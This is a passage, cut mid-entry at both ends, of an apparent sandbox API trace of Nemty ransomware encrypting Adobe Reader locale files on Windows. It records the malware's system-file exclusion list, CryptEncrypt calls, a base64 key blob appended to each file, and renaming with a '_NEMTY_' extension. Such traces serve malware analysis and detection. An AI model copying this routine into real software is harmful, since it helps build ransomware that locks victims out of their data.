dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.105] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.NOR", cAlternateFileName="")) returned 1 [0180.105] lstrcmpiW (lpString1="Search.NOR", lpString2=".") returned 1 [0180.105] lstrcmpiW (lpString1="Search.NOR", lpString2="..") returned 1 [0180.105] lstrcmpiW (lpString1="Search.NOR", lpString2="...") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="windows") returned -1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="rsa") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="NTDETECT.COM") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="ntldr") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="MSDOS.SYS") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="IO.SYS") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="boot.ini") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="boot.ini") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="ntuser.dat") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="desktop.ini") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="CONFIG.SYS") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="RECYCLER") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="bootmgr") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="programdata") returned 1 [0180.106] lstrcmpiW (lpString1="Search.NOR", lpString2="appdata") returned 1 [0180.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.107] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.NOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.107] Sleep (dwMilliseconds=0x5) [0180.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f010870, dwHighDateTime=0x1d561e8)) [0180.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f010870, dwHighDateTime=0x1d561e8)) [0180.116] GetLastError () returned 0x0 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.116] GetLastError () returned 0x0 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.116] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.116] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="dZCAU3+YF4F4KFqA43F0AIfI73mIAgRxEfEVp3x+UYOZWB1YfxL6DbjvB56Zgt6j\r\nTa92znqyE6ghwp6QrCzocQ14Ae1Q+drwaCqPSPuJE9EuAdkkOKwGuOeyqQmWH8OI\r\ntzP10p0M5sREmJ82XGnMkGoE9R2mnCx7E8udsa1iNfb8rlfeqjjkg5szTdG8KBHY\r\nd/oVqzsLl7BgAuHtapFwqYNNMy6Vv//fGKfMLfOpbXKhXCBUhQabf+L5bC6rDiLn\r\n+UQwvrU3cQBe8atQlIkeo27PV5rlAQeaClI1Jb56sxqTd3sluoD98KaxuOMECwWc\r\nnfHjPJQiYtJM+Ys1HyAtbQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.117] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22528) returned 1 [0180.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5800) returned 0x6352c48 [0180.117] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.117] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5800, lpOverlapped=0x0) returned 1 [0180.120] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.120] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5800, lpOverlapped=0x0) returned 1 [0180.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.120] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800 [0180.120] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.120] CloseHandle (hObject=0x2e8) returned 1 [0180.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.120] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor._nemty_kgobjgd_")) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.121] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.NOR", cAlternateFileName="")) returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2=".") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="..") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="...") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="windows") returned -1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="rsa") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="NTDETECT.COM") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="ntldr") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="MSDOS.SYS") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="IO.SYS") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="boot.ini") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="boot.ini") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.121] lstrcmpiW (lpString1="SendMail.NOR", lpString2="ntuser.dat") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="desktop.ini") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="CONFIG.SYS") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="RECYCLER") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="bootmgr") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="programdata") returned 1 [0180.122] lstrcmpiW (lpString1="SendMail.NOR", lpString2="appdata") returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NOR", lpUsedDefaultChar=0x0) returned 12 [0180.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.122] Sleep (dwMilliseconds=0x5) [0180.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f0369d0, dwHighDateTime=0x1d561e8)) [0180.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f0369d0, dwHighDateTime=0x1d561e8)) [0180.131] GetLastError () returned 0x0 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.131] GetLastError () returned 0x0 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.131] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.131] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7Yyz8Akxnf7yv9M1AwV2CvOomfncHd5Ru25XZNIykJvLvwpj8Gi34NfzTg2QnYxy\r\nLOHHchZr4Mbp8oZYyGteOBZ1SkDoDSmbINKR6IJ34m80haYAnB7JSOmYz9hqcQLm\r\n69ZDiGLQrWVpxJQNpZMswYUvxPjecCQJ2kCHJPInZF3W3pu/4759W+5Cs/r7PAhK\r\nVxb0ikkt42lB13Wv86/sDOWhsHf96hcEmSyuYIr385+PaGVkSru8UGiczgmhgAn0\r\ngjrVFSOhKZCnT5qbqoNQpXBt8sKEl7MnJMLyLtPllZqjTTVaD/VjMm9Bze76pjeY\r\nUFm4kN8/+ODVwxhUVhG5IQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.132] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14848) returned 1 [0180.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3a00) returned 0x6352c48 [0180.132] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.132] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3a00, lpOverlapped=0x0) returned 1 [0180.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.134] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3a00, lpOverlapped=0x0) returned 1 [0180.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a00 [0180.134] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.135] CloseHandle (hObject=0x2e8) returned 1 [0180.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: 